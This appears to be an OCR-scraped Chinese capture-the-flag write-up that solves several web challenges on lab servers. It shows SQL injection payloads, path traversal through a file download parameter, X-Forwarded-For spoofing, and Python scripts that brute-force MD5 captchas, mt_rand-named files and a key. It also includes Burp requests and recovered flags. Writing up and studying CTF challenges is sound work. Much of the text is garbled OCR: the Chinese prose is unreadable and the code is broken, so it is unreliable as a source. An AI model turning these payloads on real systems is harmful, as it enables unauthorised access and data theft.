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return

~0
51
52

~4
$5
$6

~8
$9
$10

~12

~13

~14

operands
'do+you+know+Vulcan+Logic+Dumper%3F%3Cbr$3E’

'_GET'

$1, 'flagl'
~0
10, $2

' _GET'
$5, 'flag2'
.-.4 T———
11, $6

' _GET'
$9, 'flag3'
~8

12, §10

10, 'fvhijihfcy'
a1 £ ->3§

11, 'gfuyiyhioyf'
~13, =335 -

12, 'yugoiiyhi'

nunwel vl wpss L &
compiled vars: 10 = $a, !1 = $b, 12 = $c
line # * op fetch
2 o > EXT_STMT
1 ECHO
3 2 EXT_ STMT
3 BEGIN SILENCE
4 FETCH_R global
5 FETCH_DIM_ R
6 END_ SILENCE
7 ASSIGN
4 8 EXT_STMT
9 BEGIN_SILENCE
10 FETCH_R global
11 FETCH _DIM R
12 END_SILENCE
13 ASSIGN
5 14 EXT_STMT
15 BEGIN_SILENCE
16 FETCH_R global
17 FETCH DIM R
18 END_SILENCE
19 ASSIGN
6 20 EXT_STMT
21 IS _EQUAL
22 > JMPZ
7 23 > EXT_STMT
24 IS _EQUAL
25 > JMPZ
8 26 > EXT STMT
27 IS_EQUAL
28 > JMPZ
9 29 > EXT STMT
30 ECHO
10 31 > JMP
il 3z > EXT STMT
33 ECHO
13 34 > > JMP
14 s > EXT_ STMT
36 ECHO

16 37 > > JMP
17 iR > RXT STMT

~14, ->32
'the+next+step+is+xxx.zip'
->34

'false%3Cbr%3E’

->37

'false%3Cbr%3E’

=->40
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& Load URL

% spiiturL

+  Execute

http:/M106.75.26.211:1111index. php?flag1=fvhjjinfcv&flag 2=gfuyiyhicoyi&flag2 =yugoiiyhi

| |Enable Post data | | Enable Referrer

do you know Vulcan Logic Dumper?
the next step is 1chungiu.zip
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HiF:  http:/106.75.26.211:1111
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%% log.php A

iX BusernamebFEAEEN, b Hi#t4T T safe_datasb®E, FATERHEX R

XAMUE B & B R AEusername F R EA T A K ZE 5 “number”, IR R BB HR S,

R A8 SO B A2 V7 1) 1) 8 i 57 T

€ | O & | 106.75.26.211:1111/1chungiy/login.html TEE o @ B <¥K>
Q) SERAEE | wo.. Objectif Sécurité -.. &\ ZoomEye - Cybers... Mac #i§@&A< .. @ Bookmarks |5 Office CVE-2017-.. CSDN-FUTHA.
INT E = 4 SQL~ XS5+ Encryption* Encoding= Other~

@ LoadURL hitp:/106.75.26.211:11111chunaiuflegin. htm
I spituRL

» Execute

| Enable Post data | | Enable Referrer
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Burp Intruder Repeater Window Help

Burp Suite Community Edition v1.7.30 - Temporary Project

[Target I Proxy ISpider I Scanner I Intruder IRepeater T Sequencer I Decoder T Comparer I Extender I Project options IUser options IAIerts [ Sglmap ]

1|2 = (S ...

- Go Cancel

Request

< |v > |

Raw | Params | Headers | Hex

Target: http://106.75.26.211:1111 @J EJ

Response

Raw | Headers | Hex

POST /1chungiu/login.php HTTP/1.1

Host: 1@6.75.26.211:1111

User-Agent: Mozilla/s5.@ (Macintosh; Intel Mac 0S X 18.13; rv:52.0)
Gecko/201001901 Firefox/52.8

Accept: texts/html,application/xhtml+xml,application/xml;q=0.9,%/+;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;g=0.5,en;q=0.3
Accept-Encoding: gzip, deflate

Referer: http://186.75.26.211:1111/1chungiu/login.html
X-Forwarded-For: 127.0.9.1

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 79

T

number=@&username=%00 "' &password=123&submit=%E6%8F%90%E4%BA%A4%ER%IFSASSES
SAFSA2

e
v

0 matches

w liJ lLJ [LJ Type a search term

Done

number

number

HTTP/1.1 200 0K "
Date: Fri, 19 Jan 2018 02:37:52 GMT i
Server: Apache/2.4.7 {Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.22
Vary: Accept-Encoding
Content-Length: 173
Connection: close
Content-Type: text/html; charset=utf-8
HIEERITHENR ! You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use
near '"\\'"' at line 1
==
v
7 < + > Type a search term 0 matches

400 bytes | 58 millis

GetFlag
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Hello, web dog!

Hello, single dog, This is a mini fle manager, you can login and download the files and even get the flag.

€ | (O & | 106.75.26.211:2222/action.php?action=login UE ¢ @ QsExe wEe +$@ 4 B - -
O SERAEE | Wo. Objectif Sécurité -.. & ZoomEye - Cybers... Mac #8442 .. @ Bookmarks |5 Office CVE-2017-.. [@ CSON-%WiT#A.. B PHP: foreach - Ma... » 8
Username
Password

substr(md5(captcha), 0, 6)=b4eaBt
Captcha:

Submit

% 3 — $ & substr(md5(captcha), 0, 6)=10c6ca BV IEFIMD5SINE J5 K RT64L, ™ LAS AR . (HRRIFFIHELEHANT %
X, BERNIERIELE UL, HEEERFHRRN. ERER—E, XBEMZREREmEZIRNMET EMBIEY, REH#T
MD5/n% BT, FTURIFEKERARBAEET, HERT FEMHMBIEGEEITR R M ILRREK, FUST —4
V9O SRAERS B AR, RO SRS AERD, BEEE— /NI T .

T IE 2 pythonAl A AR A1 283 P K 45 2R

y - R e e OO O
() & | 106.75.26.211:2222/action.php?action=login Last L . I 6 on ttys000
© SERDEE | Wo. Objectif Séeurité -... . ZoomEye - Cybers..
Username
Password

P s T} PPN [ -




JULSL U LEL ], U, U= Eauuus

Captcha:

Submit

hashlib

Llist="0123456789'
a list:
b list:
[ list:
d lis
e ist:
list:
q list:
stra-(a+b+cid+e+fig)
value = hashlib.md5(strd)
valuel = value.hexdigest()

s4 = valuel[@:6]

s4 '83d86b' :
strd

RAERDRBHHR T, ERHAFZMENYE, 2R TsqEANBREFMHAER, ERZRXGEENEM, RABEET

Welcome admin’ or '1'="1!

ht tp . //blog. csdn. net/qq 33398441

B %2 )5 KA JLA ST AT BL R 3

€ | () 106.75.26.211:2222/action.php?action=file
QO oEREEEE wo.. (D Objectif Sécurité -.. @ ZoomEye - Cyb

1. hello.txt
2.5.ba
3.a.php

¥a.php T & TR &K A AR Rfag is in the web root dir, iX B 88 T CHH AT U BISCHR 45 342, BLAT AV T

0@ = “a.php” &7

] a.php 79ETH
e | fScHEE): BER 321

v Ef:
B PHP

Kalv: ﬁ’“‘ﬁ (B E8 4 KB)
{3

BIEEESE: BFR FF321
EelEE: BRI

AR

EHE



v ESEE:

W@ http:(/106.75.26.211: 2222 ffile/download . php?
f=a.php, http:/106.75.26.211:2222/action.php?

action=file
b ESTREE: &-‘
L=
b FTRAR:
v EE:
<7php
echoe "Do what you want to do, web deg,

flag is in the web root dir";
T=

XERFEEE—T, Rwindows kIR 525 E 2 linuxi IR 52308, BEE U7 I — ANt vl LUR L& Ubuntu, B3 B R T #8648 K/
5, BURRIEELRlnuxT

€ | (0 | 106.75.26.211:2222/1.php

¢ SERAEE | Wo. . Objectif Sécurité -... 2. ZoomEye - Cyber:
Not Found

The requested URL /1.php was not found on this server.

Apache/2. 4.7 (Ubuntu) Server ar 106.75.26.211 Port 2222

MAMRYE T HER NS LV HLEXHAE, WaT LT #iflag.php

106.75.26.211:2222ffilef/download. php?f=/var/www/html|/flag.php c f\ Q linux webiR S REHE

O SEwAEE wo.. B Objectif Sécurité -.. @ ZoomEye - Cybers.. [[] Mac#l§@SA2 .. @ Bookmarks | g Office CVE-2017-.. CSON-FUlITER...

@ IETE$TF _var_www_html_flag.php

MBI T4

= _var_www_html_flag.php

MR TXT i (263 )
FHR:  http:/106.75.26.211:2222

{EA0EE Firefox H{a4ME 37

ATH, B | R

Orexr @ F® R
ARSI

flag.phpfI ARG T, BERHPOSTIRAflagS$l, Mflag=flagh}, & — AN XHFHINE
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= str_replace(
((strlen(it) >

)

=== {
file_get contents(




® Mflag phpER B, MLAEEVH, RERZPOSTSH, A LRM

€ | (0| 106.75.26.211:2222/flag.php

Q) SEEEEE | wo.. e Objectif Sécurité -... 2. ZoomEye - Cybers...

INT = & S5QL> XS5+ Encryption~ Encoding~ Other~
@ Load URL  hip:/106.75.26.211:2222/flag.php
$  spiiturL
k) Execute

) Enable Post data | | Enable Referrer

peEt | flag=flag:

Mt Aburpik—TF

fi] Mac BERSAL ..

UE ¢ @

@ Bookmarks |= QOffice CVE-2017-

[Target ] Proxy ] Spider ] Scanner ] Intruder ] Repeater ] Sequencer ] Decoder ] Comparer | Extender ] Project options ] User options lAIerts [ Sqlmap l

1= ..

Go || Cancel ol = i

Request
J Raw I Params I Headers T Hex ]

Target: http://106.75.26.211

Response
j RawT Headers I Hex ]

POST /flag.php HTTP/1.1

Host: 186.75.26.211:2222

User-Agent: Mozilla/5.@ (Macintosh; Intel Mac 05 X 18.13; rv:52.0) Gecko/281@0101
Firefox/52.@

Accept: text/html,application/xhtml+xml,application/xml;g=0.9,%/%;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-U5;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Cookie: PHPSESSID=1lcsvkgrog8mlrcSnol8sfleiul

X-Forwarded-For: 127.8.08.1

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 18

T

flag=~flag;

B, AR A R flag T
R BRI HER A

HTTP/1.1 20@ OK

Date: Fri, 19 Jan 2018 ©3:30:23 GMT
server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntud.22
Content-Length: 63

Connection: close

Content-Type: text/html

<?php
$flag="flag{d6eb81a1-9859-aadf-8af4-a%ad8cb3e2le}";
>



Vi P2 TR X, BEBREY X Magphp, WASERIERKISIE T, SO KB T ZE B url+u+md5(FEHL
H)+ixt, T EIXAN SO AR 0sJE 2 MR

€& | () 106.75.26.211:3333 vE o
U SEREEE | Wo.. E Objectif Sécurité -.. "=, ZoomEye - Cybers... Mac #iESSA2 . @) Bookmarks I; Office C'
<?php

header (| "content-type:text/html;charset=utf-8");
90000 TVOLOO ;
setcookie( 'token’, 'hello');
show_source(_ FILE );
if ($_COOKIE[ 'token']=='hello')({
$txt = file_get contents(’'flag.php’);
$filename = 'u/’'.md5(mt_rand(1l,1000))."'.txt"';
file put contents($filename, $txt);
sleep(10);
unlink($filename);

M, FREROESHERIXAN A, RERE - RIBRERAET, TRESEANR, HEZ KLU T
1 2 python /il A< AURE A 28 2 B A 45 2R




=m_ w, |$ python ctf-4.py

4pr ctf-4.py %
1 http://106.75.26.211:3333/u/92262bT907af914b95a0fc33c3f33bf6. txt

requests 200
s <?php
$flag="flag{705ce98f-bh7f-b5ad-acc6-6ea7bf80e75a}";

" u _l B
i range(@,1001) : ras ihadiiad A oL
ml = mdS.new()
ml.update(str(i).encode(encoding="utf-8'))
url="'http://106.75.26.211:3333/u/ ' +ml. hexdigest()+"
r = requests.get(url)
(r.status_code!=404):
i
url
r.status_code
r.text

pyscript

€ | | 106.75.108.111:1111 UE o @ EE <%K> wBEe @A b

O sEmEES (wo.. (D Objectif Sécurité -.. @ ZoomEye - Cybers... Mac #0&%A2 .. @ Bookmarks |g Office CVE-2017-.. [@ CSDN-ZUlITiEA.. FE PHP: foreach - Ma...
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REMURRZ, HEAZRATJLTRAEA A RM
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Fburp¥lfs, XEAEBHMNMT, go—RKXFH/ ML THINEESZ, shal( BT
+AF IR IR A AR 248 f B S0 ) =13 IR $- X #2 Z5 I Ciphertext

€  © 106.75.108.A11:1111/# TE| X & Q ppvid B @A O S-E- = “

Burp Suite Community Edition v1.7.30 - Temporary Project

Burp Intruder Repeater Window Help

[ Target T Proxy I Spider T Scanner T Intruder T_‘Rgpgager I Sequencer T Decoder T Comparer T Extender T Project options T User options IAIerts TSquap l

=

. Go Cancel <|v > | Target: http://106.75.108.111:1111 | &

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex HTMLTRender}

POST / HTTP/1.1 0 HTTP/1.1 208 0K
Host: 1@6.75.108.111:1111 2 Date: Fri, 19 Jan 2018 ©8:34:00 GMT
User-Agent: Mozilla/5.@ (Macintosh; Intel Mac 0S X 18.13; rv:52.0) Gecko/20100101 server: Apache/2.4.7 (Ubuntu)
Firefox/52.0 X-Powered-By: PHP/5.5.9-1ubuntu4.22
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/%;q=0.8 Expires: Thu, 19 Nov 1981 @8:52:0@ GMT
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Cache-Control: no-store, no-cache, must-revalidate, post-check=e,
Accept-Encoding: gzip, deflate pre=check=0
Referer: http://1@6.75.108.111:1111/ Pragma: no-cache
Cookie: PHPSESSID=5i2uq9usj2m48tjtvap@817qt7? [Ciphertext: dlccb633a75418841eb561cd@e26d35b157e2709c |
X-Forwarded-For: 127.8.0.1| Vary: Accept-Encoding
Connection: close Content-Length: 603
Upgrade-Insecure-Requests: 1 Connection: close
Content-Type: application/x-www-form-urlencoded . Content-Type: text/html; charset=utf-8
Content-Length: 8
<!DOCTYPE html>
pass=aaa <html>
<head>
<meta charset="UTF-8">
<title>Hello</title>
<link rel="stylesheet" href="css/style.css" media="screen"
type="text/css" />
</head>
bodys
I-—ROUND ONE-—>
{==$R AN -—>
I——shal (=¥ F+s5ev0651MijzZ6 IKH7Ly3QStXVpy@J4)==Ciphertext -—»
. {--HET10sREER -—>
|® <d1iv class—paneL >

H— AR EHAELIEST B3 E R SCNE ST I, SR AE10s, 3MHF LTINS R K
T 2 python il A UG A1 22 2 PR 45 3R






., § == m .. ] _ 5_% python 4.py
sZGLQNi6LdIie7hEBWytC6qRFnMgZ8

2848592

<!DOCTYPE html>

<meta charset="UTF-8">

<title>Hello</title>

<link rel="stylesheet" href="css/style.css" media="screen" type="text/css" />
</head>

<body>
<!--¥HRAX —
<!--flag{895e7500-bal@-bcc4-84fd-548db6b34f0f} ——
<!-—-BFLSARBRZEFR -—

<div class="panel">

<div class="wrap">
<form method="POST" action=""#">

<input type="text" name="pass" placeholder=" here"/>
<button onclick="form.submit();">Shhh!</button>
</form=>
</div>

</div>

<div style="text-align:center;clear:both">

</div>

</body>

</html>

hjjdeMacBook-Air:desktop hjj$

fuzzing
€ | (0 | 106.75.108.111:2222/test.php vE ¢
0 SamEEE | Wo. e Objectif Sécurité -... '@, ZoomEye - Cybers... Mac EIFSSEE @ Bookmarks I: QOffice CVE

there is nothing

MBERZ FEIE N RHAMEER, 5EEESX-Forwarded-For, ip’810.0.0.1B /215 17

1 = [ 7]

| Go | Target: http://106.75.108.111:2222 [_4
Raw | Params IHeaders Hex ] Raw | Headers | Hex ]

SET /test.php HTTP/1.1 A HTTP/1.1 288 OK

dncts 1AR.75.1AR.111:2227 L Nate: Fri. 1a lan ?A1R A2:57:5R GMT



e eh e e s e e i ey ae s e wem s e

User-Agent: Mozilla/5.@ (Macintosh; Intel Mac 05 X 1@.13; rv:52.0) Server: Apache/2.4.7 (Ubuntu)
secko/20100101 Firefox/52.0 X-Powered-By: PHP/5.5.9-1ubuntu4.22
bccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/%;q=0.8 |[hint: ip,Large internal network | @
btccept-Language: zh-CM,zh;q=0.8,en-U5;0=0.5,en;0=0.3 L~ Content-Length: 16

tccept-Encoding: gzip, deflate Connection: close

Cookie: PHPSESSID=5i2uq9usj2md8tjtvap@8l7qt? Content-Type: text/html
X-Forwarded-For: 127.8.0,1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

LA FEF10.0.0.189ip there is nothing|

B EV R E] T FE— A key

Burp Intruder Repeater Window Help

[Target I Proxy I Spider IScanner I Intruder I Repeater T Sequencer IDecoder I Comparer I Extender I Project options IUser options IAIerts I Sglmap ]

1|23 « (il ..

Go Cancel < |¥ > | Target: http://106.75.108.111
Request Response
JRaw T Params I Headers I Hex ] j RawT Headers I Hex ]
3ET /mdnage.php HTTP/1.1 A HTTP/1.1 288 0K
fost: 106.75.108.111:2222 E Date: Fri, 19 Jan 2018 86:13:23 GMT
Jser-Agent: Mozilla/5.@ (Macintosh; Intel Mac 0S5 X 1@.13; rv:52.0) Server: Apache/2.4.7 (Ubuntu)
jecko/20100101 Firefox/52.@ X-Powered-By: PHP/5.5.9-1ubuntu4.22
\ccept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8 Content-Length: 16
‘ccept-Language: zh-CN,zh;q=0.8,en-U5;q=0.5,en;q=0.3 Connection: close
\ccept-Encoding: gzip, deflate Content-Type: text/html
lookie: PHPSESSID=5i2ug9usj2md48tjtvap@8liqt?
{(~-Forwarded-For: 10.8.0.1 lshow me your key| l
lonnection: close
Jpgrade-Insecure-Requests: 1
lache-Control: max-age=@

IHPOSTHE —AkeyiRiRE, IR KA % #E 33 B X-Forwarded-ForE &% ~810.0.0.1, X B Rkey N IEH, EfHIkey:
ichunqgiu+(5/ $0 52 5 BN %5 J5 95a2a7d385fdaad3fabbe7b11c28bd48e

€ (@ 106.75.108.111:2222/m4nage.php U x # Q&2 e SO H B e =l
©Q SERAESE (wo.. ([ Objectif Sécurité .. @ ZoomEye - Cybers.. [[] Mac 2424 A% .. @ Bookmarks |g Office CVE-2017-... CSDN-FUITHRA... PHP: foreach - Ma... » [ BalERE
INT = & SQLv XSS+ Encryptionv Encoding~ Otherv
g Load URL  nrip:/106.75.108.111:2222/m4nage.php
% spiturL eo0e@ e - = =
p Suite Community Edition v1.7.30 - Temporary Project
v . Burp Intruder Repeater Window Help
q 8 Enable Pj
Post dats [Target I Proxy ISpider I Scanner I Intruder IRepeater T Sequencer I Decoder I Comparer I Extender I Project options I User options IAIerts TSquap ]
key=key;
1x]|2x[3x|ax[5x][6x]|7x|8x (0w ..
{
| Go Cancel Sl > Target: http://106.75.108.111:2222 b
Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex

|POST /mdnage.php HTTP/1.1

i HTTP/1.1 208 0K
Host: 1@6.75.188.111:2222 r Date: Fri, 19 Jan 2018 ©6:21:19 GMT
User-Agent: Mozilla/5.8 (Macintosh; Intel Mac 0S X 10.13; rv:52.0) Server: Apache/2.4.7 {(Ubuntu)
Gecko/20100101 Firefox/52.0@ X-Powered-By: PHP/5.5.9-1ubuntu4.22
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8 Vary: Accept-Encoding
Accept-Language: zh-CN,zh;q=0.8,en-U5;q=0.5,en;q=0.3 Content-Length: 97
Accept-Encoding: gzip, deflate Connection: close
Cookie: PHPSESSID=5iZuq9usj2m48tjtvap@817qt7 Content-Type: text/html
X-Forwarded-For : a
Connection: close key is not right,md5(key)==="5a2a7d385fdaad3fabbe7bllc28bd48e",and the
Upgrade-Insecure-Requests: 1 key is ichunqiu[a-z8-9]{5}
Content-Type: application/x-www-form-urlencoded

Content-Length: 8

| key=key;

H—A pythonll A i key



121 i kkey Nichunqiu618ok, F-IRIEAZBLE BIHEm U 191X Mx0.txt

€ | (D 106.75.108.111:2222/x0.txt UED ¢ @ B <®K> % E +$@® A& B - - =
O sEEAER wo.. (@D Objectif Sécurité .. @ ZoomEye - Cybers.. Mac £i§@%k2 . @ Bookmarks |5 Office CVE-2017-.. CSDN-FWITIHA... PHP: foreach - Ma... » [ BulEss

function authcode($string, Soperation = 'DECODE', Skey =
Sckey_length = 4;

» Sexpiry = 0) {

S$key = md5(Skey ? $key : UC_KEY);

Skeya = md5(substr(Skey, 0, 16));
Skeyb = md5(substr($key, 16, 16));
S$keyc = Sckey_length ? (Soperation == 'DECODE' ? substr(S$string, 0, $ckey length) : substr(mdS(microtime()), -$ckey_length))

Scryptkey = S$keya . md5($keya . $keyc);
Skey length = strlen(Scryptkey);

Sstring = $operation == 'DECODE' ? base64_decode(substr($string, $ckey length)) : sprintf('%010d', Sexpiry ? Sexpiry + time()
0) . substr(md5(%string . $keyb), 0, 16) . S$string;

S$string_length = strlen(§string};

Sresult = '';
Sbox = range(0, 255);

srndkey
for ($1

}

for ($3 = $i = 0; $i < 256; $i++)
$3 = ($j + Sbox[$i] + $rndkey[$i]) & 256;
Stmp = Sbox[§i];

array();:
0; Si <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % S$key length]);

$box[§i] = Sbox[§$]];
: $box[$j] = Stmp;
for ($a = $j = $1i = 0; $i < $string_length; §$it++) {
Sa = (Sa + 1) & 256;
$3 = ($j + Sbox[Sa]) % 256;
Stmp = $hox[Sa);
$box[$a] = $box[$]];
$box[$]] = $tmp;
Sresult .= chr{ord($string[$i]) " (Sbox[(Sbox[$a] + S$box[$j]) % 256]));
}
if ($operation == 'DECODE') {
if ((substr($result, 0, 10) == || substr{$result, 0, 10) - time{) > 0) && substr($result, 10, 1§) ==
substr(md5(substr($result, 26) . $keyb), 0, 16)) {

return substr($result, 26);

LI P

flag 2 7% Z 38 i IX AN php 14 >R 7 25 1)

(i) 106.75.108.111:2222xx00xx00.php 98| x = <Ko PY
o SERAEE | Wo. Objectif Sécurité -... '@ ZoomEye - Cybers... Mac 2SS AE .. @ Bookmarks m Office CVE-2017-... E CSDMN-ZUlITHA.. PHP: foreach - Ma... » B Es
[ ] [ ] Burp Suite Community Edition v1.7.30 - Temporary Project

Burp Intruder Repeater Window Help

.[. Target I Proxy I Spider I Scanner I Intruder ]' Repeater I Sequencer.l Decoder I Comparer I Extender T Project options I User options IAIertsT Sglmap ]
1«]2x]3[4x]5%]6x]7=[8~]9x]10x]11x]12~ [aBus.]

Target: http://106.75.108.111:2222 g| [l|

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex

GFT fyvBRAwvynn.nhn HTTR/1.1 i HTTR/1.1 260RA NK A




e e es e e — e ae e cwn —
Host: 1@06.75.108.111:2222 M Date: Fri, 19 Jan 2018 06:49:20 GMT i
User-Agent: Mozilla/5.@ {(Macintosh; Intel Mac 05 X 10.13; rv:52.8@) Server: Apache/2.4.7 {(Ubuntu)

Gecko/20100101 Firefox/52.9 X-Powered-By: PHP/5.5.9-1lubuntu4.22
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/+;q=0.8 Vary: Accept-Encoding
Accept-Language: zh-CN,zh;q=0.8,en-US;q=08.5,en;q=0.3 Content-Length: 168
Accept-Encoding: gzip, deflate Connection: close
e =54 j2m48tjtvap@slzqt7 Content-Type: text/html
-Forwarded-For: 10.0.8.1
Connection: close source code is in the x8.txt.Can you guess the key
Upgrade-Insecure-Requests: 1 . the authcode(flag) is
Cache-Control: max-age=0 b8 f3Jyxlo/p4ZMVDOIBO%aSWHYZqMgnhtfUVSWHBTiZ3CSXEnsfHDBnFehOrvagvImQjneCicM
qBV3NZ7IscNtLFZnplrwQ4
e e
v v
? < i > Type a search term 0 matches 2 < - > Type a search term 0 matches
Done 380 bytes | 74 millis
N A5 ERS NP
Kephp RSB AR T, EARANSH, TG Slag T
1 < ?php
2 #Sstring = '10cesTqqnpxS2clQDaNFU02390ddwzqULLGvE4Ce1csQPOBHYFUSgHaREWIMApY/ gORTTEHI Sinhs/ yZQ 0B4AS LB IT A 8 B AN ] i T X 2 | 5
3 #8key = 'ichungiunélS8ok'
4 function authcodef§string='10cesTqgnpx9zciDaNFU02380dJwzgULtGvE4Ca1csQPOSHYFUSgHaRENIMnpyx/ goRTTEHI 5inh
5 %$ckey length = 2;
&
7 $key = mdS($key ? $key : UC_KEY);
8 Skeys = md5(substriSkey, 0, 14));
a Skeyb = md5 (substr($key, 16, 168)):

10 $keyc = §ckey length ? (§operation == 'DECODE' ? substr(§string, 0, $ckey_length) : substr(md5(microtime()), -$ckey length)) : '';

11

1z Scryptkey = Skeya . mdS(Skeva . Skeyc):

13 fkey length = strlen($cryptkey):

aa

IR RFE EBFS WAM REN) BESL EEM I1BEO) =M ETR) BEE J0w) ?
aiﬂEﬁ"‘a-é@|*@lﬁ|ar'/' : . BL BB L i e ]
=] 5.1:,1.[1:,[3' J,u http://localhost/S.php x\+

23 aeseode iy '\(‘ ] (D | localhost/5.php w_ﬁﬁ 8 | @
- R s [ st Ts ssee.. [ sSsesiEssm. [ sEsss
21 ¢rndkey = array(): INT = & SQL- XS5 Encryption- Encodings Others
2z O for ($i = 0; $i <= 233 —

23 Srndkey[$i] = ordi|| @ Load URL

T ] B split URL

25

Se | for (§9 = §i = 0; $i <| X Execute

27 $1 = (%] + $box[$i 7] Enable Post data [ | Enable Referrer

28 ftmp = $box[$i];

29 $box[$1] = $box[%3| flag{bf9c71de-9852-93a0-9852-a23bc07dd12¢}

30 $box[$j] = $tmp;

3'1 -

32

33 [H for ($a = §j = §i = 0;

34 $a = ($a + 1) T 25

35 %9 = (5] + Sbox[%3

36 $tmp = $box[%al:;

37 Sbhox[%a] = Sbox[%]

&8 fbox[$3] = Stmp;

39 $result .= chr (ord)

40 = ]

41

432 E if ($operation == 'DEC

43 S if | (substr(Sresul|

i retuorn substr (||

25 else {

46 retarn '':

47 L 3

B else {

49 return Skeyvc st

50 B ]

il =

52 echo authcode ()

==




PR

54
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